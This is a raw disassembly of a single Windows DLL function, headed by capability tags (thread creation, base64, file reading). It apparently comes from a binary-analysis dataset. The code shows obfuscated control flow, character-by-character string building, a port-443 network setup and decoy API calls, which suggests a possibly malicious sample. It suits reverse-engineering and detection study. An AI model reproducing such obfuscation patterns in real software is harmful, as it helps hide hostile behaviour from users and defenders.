Function at 0x180035940
Capabilities:
Create thread
Encode data using base64
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5d0]
sub rsp, 0x6d0
mov rax, qword [0x1800624d0]
xor rax, rsp
mov qword [rbp + 0x5c0], rax
mov r14, r9
mov rsi, r8
mov r15, rdx
mov r13d, ecx
mov dword [rsp + 0x44], ecx
movdqa xmm0, xmmword [0x180057290]
movdqa xmmword [rbp + 0x1a0], xmm0
mov byte [rbp + 0x190], 0
movdqa xmm1, xmm0
movdqa xmmword [rbp + 0x1c0], xmm0
mov byte [rbp + 0x1b0], 0
movdqa xmmword [rbp + 0x1e0], xmm0
mov byte [rbp + 0x1d0], 0
movdqa xmmword [rbp + 0x210], xmm0
mov byte [rbp + 0x200], 0
movdqa xmmword [rbp + 0x230], xmm0
mov byte [rbp + 0x220], 0
xor ecx, ecx
mov qword [rbp], rcx
mov word [rbp + 8], cx
movdqu xmmword [rbp + 0x1a], xmm0
mov byte [rbp + 0xa], cl
mov qword [rbp - 0x30], rcx
mov word [rbp - 0x28], cx
movdqu xmmword [rbp - 0x16], xmm0
mov byte [rbp - 0x26], cl
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rcx
movdqa xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x68], rcx
mov qword [rbp - 0x60], rcx
mov qword [rbp + 0x60], rcx
mov qword [rbp + 0x68], rcx
mov qword [rbp + 0x70], rcx
mov ecx, 0x30
call fcn.18004c1fc
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x68], rax
xor r11d, r11d
mov qword [rbp + 0x78], r11
xorps xmm2, xmm2
movsd qword [rbp + 0x80], xmm2
mov qword [rbp + 0x88], r11
mov dword [rbp + 0x90], 1
mov qword [rbp + 0x98], r11
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xa0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xb0], xmm1
movdqa xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], r11
mov qword [rbp + 0xd8], 0xffffffffffffffff
mov dword [rbp + 0xe0], r11d
xor eax, eax
movups xmmword [rbp + 0xe8], xmm0
movups xmmword [rbp + 0xf8], xmm0
movups xmmword [rbp + 0x108], xmm0
movups xmmword [rbp + 0x118], xmm0
mov qword [rbp + 0x128], rax
movdqa xmm0, xmmword [0x180057290]
movdqa xmmword [rbp + 0x140], xmm0
mov byte [rbp + 0x130], al
mov word [rbp + 0x150], r11w
mov dword [rbp + 0x154], r11d
mov qword [rbp + 0x158], r11
xorps xmm0, xmm0
movaps xmmword [rbp + 0x160], xmm0
movsd qword [rbp + 0x170], xmm2
mov byte [rbp + 0x178], al
mov qword [rbp + 0x17c], r11
mov edi, r13d
imul eax, r13d, 0x420
mov dword [rsp + 0x48], eax
mov ebx, dword [rsp + 0x40]
cmp r13d, eax
ja 0x180035c0e
lea edx, [r11 + 0x63]
lea ecx, [rdx + 0xa]
lea r10d, [r11 + 0x70]
mov r8d, 0x7364
lea r9d, [r11 + 0x68]
mov r12, qword [rsp + 0x58]
mov r13, qword [rsp + 0x58]
mov eax, 0x7265
cmp edi, 0x95a0
ja 0x180035dc3
je 0x180035d9a
cmp edi, 0x15b9
ja 0x180035cd5
je case.0x180035c81.0
mov eax, edi
sub eax, 0x53
je 0x180035cc8
sub eax, 0x7a
je 0x180035c83
sub eax, 0x2e
je 0x180035bca
cmp eax, 0x25
jne 0x180035bf8
mov word [rbp + 0x240], dx
mov eax, 0x6f
mov word [rbp + 0x241], ax
mov word [rbp + 0x242], cx
mov word [rbp + 0x243], r10w
mov eax, 0x75
mov word [rbp + 0x244], ax
jmp 0x180035bf8
mov rdx, r14
mov ecx, dword [r15]
test ecx, ecx
jle 0x180035bf0
nop dword [rax]
nop dword [rax + rax]
movzx eax, word [rsi]
mov word [rdx], ax
lea rdx, [rdx + 2]
dec ecx
test ecx, ecx
jg 0x180035be0
mov ecx, 0x6d
lea edx, [rcx - 0xa]
imul eax, dword [rsp + 0x44], 0x42
add edi, eax
cmp edi, dword [rsp + 0x48]
jbe 0x180035b53
mov r13d, dword [rsp + 0x44]
lea edi, [r13 + 0x10]
mov dword [rsp + 0x40], edi
cmp r13d, edi
jae case.0x180035c81.0
lea edi, [r13 - 0xcd]
mov dword [rsp + 0x48], edi
lea rdx, [0x180000000]
mov r8d, 0x43
movabs r9, 0x7200500031
lea r10d, [r8 + 0x10]
mov esi, dword [rsp + 0x50]
mov r15, qword [rsp + 0x58]
mov r12d, dword [rsp + 0x50]
movzx r14d, byte [rsp + 0x48]
mov r13d, dword [rsp + 0x50]
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x44]
cmp edi, 0x61
ja case.default.0x180035c81
movzx eax, byte [rdx + rdi + 0x36ab4]
mov ecx, dword [rdx + rax*4 + 0x36a70]
add rcx, rdx
jmp rcx
mov eax, dword [0x18005543e]
mov dword [rbp + 0x2f8], eax
movzx eax, word [0x180055442]
mov word [rbp + 0x2fc], ax
movsd xmm0, qword [0x1800554a2]
movsd qword [rbp + 0x2fe], xmm0
movzx eax, word [0x1800554aa]
mov word [rbp + 0x306], ax
mov word [rbp + 0x308], r11w
jmp 0x180035bf8
mov ebx, dword [r14 + 0x28]
mov dword [rsp + 0x40], ebx
jmp 0x180035bf8
cmp edi, 0x35a7
je 0x180035d46
cmp edi, 0x4b60
je 0x180035d26
cmp edi, 0x6a81
jne 0x180035bf8
movsd xmm0, qword [0x1800553e2]
movsd qword [rbp + 0x316], xmm0
movzx eax, word [0x1800553ea]
mov word [rbp + 0x31e], ax
mov dword [rbp + 0x320], 0x6c006c
mov word [rbp + 0x324], r11w
jmp 0x180035bf8
mov r8d, 0x74
mov word [rbp + 0x245], r8w
mov word [rbp + 0x246], ax
mov r8d, 0x7364
jmp 0x180035bf8
mov r8d, 1
lea rdx, [0x180055524]
lea rcx, [rbp + 0x308]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy]
mov dword [rbp + 0x30a], 0x6c
xor r11d, r11d
mov eax, dword [0x1800555a8]
mov dword [rbp + 0x310], eax
movzx eax, word [0x1800555ac]
mov word [rbp + 0x314], ax
mov r8d, 0x7364
lea r9d, [r11 + 0x68]
lea r10d, [r11 + 0x70]
jmp 0x180035bf0
mov eax, 0x6c
mov word [rbp + 0x248], ax
mov eax, 0x61
mov word [rbp + 0x249], ax
mov eax, 0x6e
mov word [rbp + 0x24a], ax
jmp 0x180035bf8
cmp edi, 0x1090f
ja 0x180035ee1
je 0x180035ebe
cmp edi, 0x9f5b
je 0x180035e4e
cmp edi, 0xd435
je 0x180035e1d
cmp edi, 0xdfe0
jne 0x180035bf8
mov dword [rbp + 0x24b], 0x687364
mov dword [rbp + 0x24e], 0x2e706f
mov word [rbp + 0x251], dx
mov eax, 0x6f
mov word [rbp + 0x252], ax
jmp 0x180035bf8
mov eax, 2
mov word [rbp + 0x30], ax
mov eax, dword [rsi]
mov dword [rbp + 0x34], eax
movzx ecx, word [r15]
call r12
mov word [rbp + 0x32], ax
mov r8d, 0x7364
mov r9d, 0x68
lea r10d, [r9 + 8]
xor r11d, r11d
jmp 0x180035bf0
mov qword [rsp + 0x28], r11
mov qword [rsp + 0x20], 4
lea r9, [rbp + 0x2f8]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0x37]
call fcn.18002e810
mov r13, rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 9
lea r9, [rbp + 0x310]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0x37]
call fcn.18002e810
mov r12, rax
xor edx, edx
mov r8d, 0xd8
mov rcx, r14
call fcn.18001d2b0
test al, al
jne 0x180035e36
mov byte [rsp + 0x40], 0
mov ebx, dword [rsp + 0x40]
jmp case.0x180035c81.0
mov r8d, 0x10
lea rdx, [rbp + 0x30]
mov rcx, qword [r14]
call r13
cmp eax, 0xffffffff
je 0x180035eb0
mov byte [rsp + 0x40], 1
mov ebx, dword [rsp + 0x40]
jmp 0x180035e36
cmp edi, 0x12a20
je 0x180035f6f
cmp edi, 0x17460
je 0x180035f63
cmp edi, 0x1bea0
jne 0x180035bf8
mov r8d, 2
lea rdx, [0x1800554c7]
lea rcx, [rbp + 0x25c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov byte [rbp + 0x25e], 0
mov r8d, 4
lea rdx, [0x1800554f5]
lea rcx, [rbp + 0x258]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncat]
movzx eax, word [0x180055504]
mov word [rbp + 0x262], ax
movzx eax, byte [0x180055506]
mov byte [rbp + 0x264], al
mov byte [rbp + 0x265], 0
jmp 0x180035e36
mov byte [rbp + 0x25c], 0
jmp 0x180035bf8
mov word [rbp + 0x253], cx
mov dword [rbp + 0x258], 0x4d4e4656
jmp 0x180035bf8
mov byte [rbp + 0x280], 0
mov r8d, 5
lea rdx, [0x1800555eb]
lea rcx, [rbp + 0x280]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov byte [rbp + 0x285], 0
mov r8d, 2
lea rdx, [0x18005561e]
lea rcx, [rbp + 0x285]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov r8d, 0x43
lea rdx, [0x180000000]
movabs r9, 0x7200500031
mov r10d, 0x53
jmp case.0x180035c81.16
mov r8d, 8
lea rdx, [rbp + 0x278]
lea rcx, [rbp + 0x258]
call qword [sym.imp.SHLWAPI.dll_StrCmpNA]
jmp 0x180035fc7
mov word [rbp + 0x287], 0x6d5f
mov byte [rbp + 0x289], 0
jmp case.0x180035c81.16
mov edx, esi
lea rcx, [rsp + 0x50]
call qword [sym.imp.SHELL32.dll_SHGetSettings]
jmp 0x180035fc7
mov r8d, 3
lea rdx, [0x180055647]
lea rcx, [rbp + 0x289]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov byte [rbp + 0x28c], 0
mov r8d, 5
lea rdx, [0x18005566f]
lea rcx, [rbp + 0x28c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov byte [rbp + 0x291], 0
jmp 0x180035fc7
mov eax, 0x1bb
mov word [rsp + 0x48], ax
lea rax, [0x18005c628]
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, [rsp + 0x48]
lea rdx, [rbp]
lea ecx, [r9 + 0x76]
call fcn.1800403d0
mov eax, 0x1bb
mov word [rsp + 0x48], ax
lea r9, [0x18005c648]
mov r8d, 0x2d
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x48]
call fcn.18001d620
mov dword [rsp + 0x50], 0
lea r8, [rsp + 0x60]
mov edx, 0xc4
xor ecx, ecx
call fcn.18001a6d0
lea rax, [rbp]
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x68]
cmp rdx, qword [rsp + 0x70]
je 0x180036100
lea rax, [rbp]
mov qword [rdx], rax
add qword [rsp + 0x68], 8
jmp 0x180035fc7
lea r8, [rsp + 0x48]
lea rcx, [rsp + 0x60]
call fcn.1800011c0
jmp 0x180035fc7
lea rax, [rbp - 0x30]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x68]
cmp rax, qword [rsp + 0x70]
je 0x180036138
lea rcx, [rbp - 0x30]
mov qword [rax], rcx
add qword [rsp + 0x68], 8
jmp 0x18003614c
lea r8, [rsp + 0x58]
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x60]
call fcn.1800011c0
mov eax, dword [0x18005c670]
mov dword [rsp + 0x48], eax
xor r9d, r9d
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x60]
mov ecx, 0x91
call fcn.180014c90
lea rax, [rsp + 0x60]
mov qword [rbp - 0x50], rax
mov eax, dword [0x18005c670]
mov dword [rbp - 0x48], eax
mov eax, dword [0x18005c674]
mov dword [rbp - 0x44], eax
movaps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x40], xmm0
xor eax, eax
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], eax
lea r9, [rbp - 0x40]
lea r8, [0x18001bbd0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x58], rax
jmp 0x180035fc7
lea r9, [0x18005c5c0]
lea r8, [rsp + 0x60]
mov edx, 0x49
lea rcx, [rbp + 0x60]
call fcn.18002c340
mov edx, 0x1e
lea rcx, [rbp + 0x60]
call fcn.1800075d0
jmp 0x180035fc7
mov r8d, 1
lea rdx, [0x18005568f]
lea rcx, [rbp + 0x291]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov byte [rbp + 0x292], 0
mov dword [rsp + 0x20], 0xa1
lea r9, [0x18005c5c8]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.180012380
test al, al
jne 0x180035fc7
mov edi, 0xe9
cmp edi, 0x50f
ja 0x180036369
je 0x180036356
cmp edi, 0x2fc
ja 0x1800362f7
je 0x1800362dc
cmp edi, 0xe9
je 0x1800362cb
cmp edi, 0x19a
je 0x1800362a8
mov r8d, 0x43
cmp edi, 0x24b
jne 0x180036490
mov dword [rbp + 0x2a6], 0x690074
mov eax, 0x6e
mov word [rbp + 0x2aa], ax
mov dword [rbp + 0x2ac], 0x500067
mov eax, 0x72
mov word [rbp + 0x2b0], ax
jmp 0x180036490
mov dword [rbp + 0x29a], 0x740065
mov dword [rbp + 0x29e], 0x48005f
mov dword [rbp + 0x2a2], 0x73006f
jmp 0x18003648a
mov eax, 0x73
mov word [rbp + 0x298], ax
jmp 0x18003648a
mov dword [rbp + 0x2b2], 0x3a0069
mov eax, 0x5c
mov word [rbp + 0x2b6], ax
jmp 0x18003648a
cmp edi, 0x3ad
je 0x180036329
mov r8d, 0x43
cmp edi, 0x45e
jne 0x180036490
xor eax, eax
mov word [rbp + 0x2c8], ax
mov dword [rbp + 0x2d0], 0x520056
jmp 0x180036490
mov dword [rbp + 0x2b8], 0x74006e
mov dword [rbp + 0x2bc], 0x650053
mov dword [rbp + 0x2c0], 0x760072
mov dword [rbp + 0x2c4], 0x720065
jmp 0x18003648a
mov r8d, 0x43
mov word [rbp + 0x2d4], r8w
jmp 0x180036490
cmp edi, 0x7d3
ja 0x180036434
je 0x180036408
cmp edi, 0x5c0
je 0x1800363d9
cmp edi, 0x671
je 0x1800363c8
cmp edi, 0x722
jne 0x18003648a
mov eax, 0x32
mov word [rbp + 0x2e6], ax
mov dword [rbp + 0x2e8], 0x360035
mov dword [rbp + 0x2ec], 0x6b0072
xor eax, eax
mov word [rbp + 0x2f0], ax
mov r15d, eax
jmp 0x18003648a
mov eax, 0x5a
mov word [rbp + 0x2e4], ax
jmp 0x18003648a
mov dword [rbp + 0x2d6], 0x310050
mov dword [rbp + 0x2da], 0x500034
mov dword [rbp + 0x2de], 0x5c003a
mov eax, 0x44
mov word [rbp + 0x2e2], ax
jmp 0x18003648a
xor eax, eax
mov r12d, eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x330], xmm0
movups xmmword [rbp + 0x340], xmm0
movups xmmword [rbp + 0x350], xmm0
movups xmmword [rbp + 0x360], xmm0
mov dword [rbp + 0x370], eax
jmp 0x18003648a
cmp edi, 0x884
je 0x18003644a
cmp edi, 0x935
je case.0x180035c81.0
jmp 0x18003648a
lea r8, [rbp + 0x330]
mov edx, r12d
mov rcx, r15
call sub.IMM32.dll_ImmGetRegisterWordStyleW
mov dword [rsp + 0x20], 0x80
lea r9, [rbp + 0x2d0]
mov r8d, 0x10
lea rdx, [rbp + 0x298]
lea rcx, [rbp + 0x3b0]
call qword [sym.imp.SHLWAPI.dll_PathRelativePathToW]
mov ebx, 1
mov r8d, 0x43
add edi, 0xb1
cmp edi, 0x9e6
jb 0x180036231
mov edi, dword [rsp + 0x48]
jmp 0x180035fcd
lea r8, [rbp + 0x200]
mov edx, 0xf5
lea rcx, [rbp + 0x190]
call fcn.180014340
jmp 0x180035fc7
mov rax, qword [rsp + 0x58]
test rax, rax
jne 0x1800366d0
mov esi, r11d
nop dword [rax]
cmp esi, 0x1e
ja case.0x1800364fd.11
mov eax, esi
movzx eax, byte [rdx + rax + 0x36b48]
mov ecx, dword [rdx + rax*4 + 0x36b18]
add rcx, rdx
jmp rcx
mov dword [rbp + 0x298], r8d
jmp case.0x1800364fd.11
lea rax, [rbp + 0x298]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x100
xor r9d, r9d
xor edx, edx
lea rcx, [rdx - 1]
lea r8d, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rdi, rax
mov dword [rbp + 0x40], 0x1c
test rax, rax
jne 0x180036546
xor r14b, r14b
jmp 0x180036575
test r14b, r14b
je 0x180036575
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x2d0]
mov r8d, r13d
lea rdx, [rbp + 0x330]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFileEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r11d, r11d
lea rdx, [0x180000000]
lea r8d, [r11 + 0x43]
movabs r9, 0x7200500031
lea r10d, [r11 + 0x53]
jmp case.0x1800364fd.11
mov r8d, 2
lea rdx, [0x1800548e0]
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy]
mov dword [rbp + 0x268], 0x414d5056
mov r8d, 0x44
mov word [rbp + 0x26c], r8w
mov word [rbp + 0x26d], r8w
mov eax, 0x4255
mov word [rbp + 0x26e], ax
jmp 0x180036575
mov dword [rbp + 0x2b4], 0x61
mov r8d, 4
lea rdx, [0x1800556a8]
lea rcx, [rbp + 0x2b6]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy]
mov eax, 0x6c
mov dword [rbp + 0x2bc], eax
mov dword [rbp + 0x2be], eax
jmp 0x180036575
mov qword [rbp + 0x29a], r9
movups xmm0, xmmword [str.ofileVi]
movups xmmword [rbp + 0x2a0], xmm0
mov eax, dword [0x1800556c0]
mov dword [rbp + 0x2ae], eax
mov eax, 0x75
mov dword [rbp + 0x2b2], eax
jmp case.0x1800364fd.11
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x268]
call qword [sym.imp.KERNEL32.dll_BuildCommDCBA]
mov ebx, 1
jmp 0x180036575
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], rax
mov dword [rbp + 0x58], eax
jmp case.0x1800364fd.11
mov word [rbp + 0x270], r10w
mov eax, 0x57
mov word [rbp + 0x271], ax
mov eax, 0x6d72
mov word [rbp + 0x272], ax
jmp case.0x1800364fd.11
mov r13d, 0x3d
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d0], xmm0
movups xmmword [rbp + 0x2e0], xmm0
jmp case.0x1800364fd.11
mov byte [rbp + 0x274], 0
mov r14b, 1
add esi, 3
lea eax, [rsi + 0x27]
cmp eax, 0x48
jb 0x1800364e0
mov edi, dword [rsp + 0x48]
mov rax, qword [rsp + 0x58]
mov esi, 0x200
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [0x18000c040]
mov qword [rsp + 0x48], rax
mov r9d, 9
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x48]
call fcn.180027410
jmp 0x180035fc7
lea rax, [rbp + 0x240]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x180036712
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x190]
call fcn.1800423a0
mov r8d, 1
lea rdx, [0x1800556c8]
lea rcx, [rbp + 0x1b0]
call fcn.1800423a0
mov eax, 0x1bb
mov word [rbp + 0x1f0], ax
mov dword [rsp + 0x30], 0xea
xor eax, eax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, [rbp + 0x1d0]
xor edx, edx
xor ecx, ecx
call fcn.1800038e0
jmp 0x180035fc7
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
jmp 0x180035fc7
mov word [rbp + 0x265], 0x6d
mov eax, dword [str.__nvvm_read_ptx_sreg_envreg5]
mov dword [rbp + 0x278], eax
movzx eax, byte [0x1800556d4]
mov byte [rbp + 0x27c], al
movzx eax, word [0x180055706]
mov word [rbp + 0x27d], ax
movzx eax, byte [0x180055708]
mov byte [rbp + 0x27f], al
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x44]
inc ecx
mov dword [rsp + 0x44], ecx
inc edi
mov dword [rsp + 0x48], edi
cmp ecx, eax
jae case.0x180035c81.0
xor r11d, r11d
jmp 0x180035c66
mov ebx, r11d
lea rcx, [rbp + 0xd8]
call fcn.180003240
mov rdi, qword [rbp + 0xc0]
test rdi, rdi
je 0x180036884
mov rsi, qword [rbp + 0xc8]
cmp rdi, rsi
je 0x18003682f
mov rcx, rdi
call fcn.180041360
add rdi, 0x20
cmp rdi, rsi
jne 0x180036817
mov rdi, qword [rbp + 0xc0]
mov rdx, qword [rbp + 0xd0]
sub rdx, rdi
and rdx, 0xffffffffffffffe0
mov rax, rdi
cmp rdx, 0x1000
jb 0x180036865
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180036865
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.18004c238
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xc0], xmm0
xor r14d, r14d
mov qword [rbp + 0xd0], r14
jmp 0x180036887
xor r14d, r14d
mov rdx, qword [rbp + 0xa8]
test rdx, rdx
je 0x1800368bf
mov r8, qword [rbp + 0xb8]
sub r8, rdx
sar r8, 4
lea rcx, [rbp + 0xa8]
call fcn.180043ce0
mov qword [rbp + 0xa8], r14
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0x68]
call fcn.180003170
nop
mov rdi, qword [rsp + 0x78]
test rdi, rdi
je 0x18003695d
mov rsi, qword [rbp - 0x80]
cmp rdi, rsi
je 0x1800368f6
mov rcx, rdi
call fcn.180002a80
add rdi, 0x28
cmp rdi, rsi
jne 0x1800368e0
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rbp - 0x78]
sub rcx, rdi
movabs rax, 0x6666666666666667
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*4]
shl rdx, 3
mov rax, rdi
cmp rdx, 0x1000
jb 0x180036948
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180036948
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.18004c238
mov qword [rsp + 0x78], r14
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x80], xmm0
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x18003698b
mov r8, qword [rsp + 0x70]
sub r8, rdx
sar r8, 3
lea rcx, [rsp + 0x60]
call fcn.180043c90
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r14
mov rdx, qword [rbp - 0xe]
cmp rdx, 0x10
jb 0x1800369c9
inc rdx
mov rcx, qword [rbp - 0x26]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800369c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800369c4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18004c238
movdqa xmm0, xmmword [0x180057290]
movdqu xmmword [rbp - 0x16], xmm0
mov byte [rbp - 0x26], 0
mov rdx, qword [rbp + 0x22]
cmp rdx, 0x10
jb 0x180036a18
inc rdx
mov rcx, qword [rbp + 0xa]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180036a13
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180036a13
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18004c238
movdqa xmm0, xmmword [0x180057290]
movdqu xmmword [rbp + 0x1a], xmm0
mov byte [rbp + 0xa], 0
lea rcx, [rbp + 0x200]
call fcn.180002de0
nop
lea rcx, [rbp + 0x190]
call fcn.180002e90
mov eax, ebx
mov rcx, qword [rbp + 0x5c0]
xor rcx, rsp
call fcn.18004c9e0
mov rbx, qword [rsp + 0x710]
add rsp, 0x6d0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret